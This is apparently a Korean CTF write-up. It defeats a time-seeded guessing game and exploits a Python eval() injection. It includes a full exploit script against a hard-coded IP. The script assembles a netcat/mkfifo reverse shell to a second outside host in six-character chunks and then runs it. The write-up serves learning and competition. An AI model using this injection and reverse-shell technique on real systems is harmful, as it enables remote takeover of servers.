본문
일단 컴파일된 python 파일이 주어진다.
uncompyle2 라는 프로그램을 통해서 python code로 변환이 가능하다.
코드를 보면, eval을 사용하는 부분이 보인다. 이 부분을 이용하는 문제인가 보다.
아, 그 이전에 숫자를 맞추어야 하는데. 시간 값으로 random값을 생성한다.
두개의 클라이언트를 동시에 접속시키면, 그 때 같은 값으로 seed가 결정되고,
하나의 클라이언트에서 입력이 실패하면, 그 결과를 보여준다. 그 결과로 다른 클라이언트에 값을 입력하면
성공.-//
eval 함수는 자바스크립트처럼 완전한 코드 실행을 해주지는 않지만, 몇몇 트릭으로 간단한 커맨드들은 처리할 수 있다.
하지만 입력버퍼에 제한이 있어 한번에 명령어를 실행시키지는 못하고,
임시파일을 하나 만들어 명령어를 쭉 쌓은다음,
sh를 통해 실행시키기로 했다.
Reference
- http://nedbatchelder.com/blog/201206/eval_really_is_dangerous.html
- http://pentestmonkey.net/cheat-sheet/shells/reverse-shell-cheat-sheet
- http://docs.python.org/2/library/telnetlib.html
- https://github.com/wibiti/uncompyle2
#!/usr/bin/python import socket import telnetlib import binascii import time import struct def remote_command(cmd) : s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.connect(('58.229.183.27', 7787)) data = s.recv(1024) s2 = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s2.connect(('58.229.183.27', 7787)) data = s2.recv(1024) t = telnetlib.Telnet() t.sock= s for i in range(1,8) : t.read_until("Choice") t.write(str(i)+"\n") t.read_until("The answer was: ") keystr = t.read_all() t.close() s.close() print keystr key = keystr.split(" ") print key t = telnetlib.Telnet() t.sock= s2 for i in range(1,8) : print t.read_until("Choice") t.write(key[i-1]+"\n") print t.read_until("Your name:") t.write("a"+"\n") print t.read_until("Comment:") t.write("__import__('os').system('%s')" % (cmd)) t.close() s2.close() write_cmd = "rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 58.229.183.21 43434 >/tmp/f" i = 0 while i < len(write_cmd) : remote_command("echo -n \"%s\">>/tmp/xk" % write_cmd[i:i+6]) i+=6 remote_command("/bin/sh /tmp/xk")
'WarGame' 카테고리의 다른 글
[Codegate 2014 Junior CTF] review.. (0) | 2014.02.12 |
---|---|
[Codegate 2014 Junior CTF] Injection 1 . 300 Point. WEB (0) | 2014.02.12 |
[Codegate 2014 Junior CTF] Nuclear Launch (0) | 2014.02.12 |
[wargame.kr] regex!? write up. 정규표현식!. (0) | 2014.01.23 |
[wargame/suninatas] suninatas 워게임. (0) | 2014.01.08 |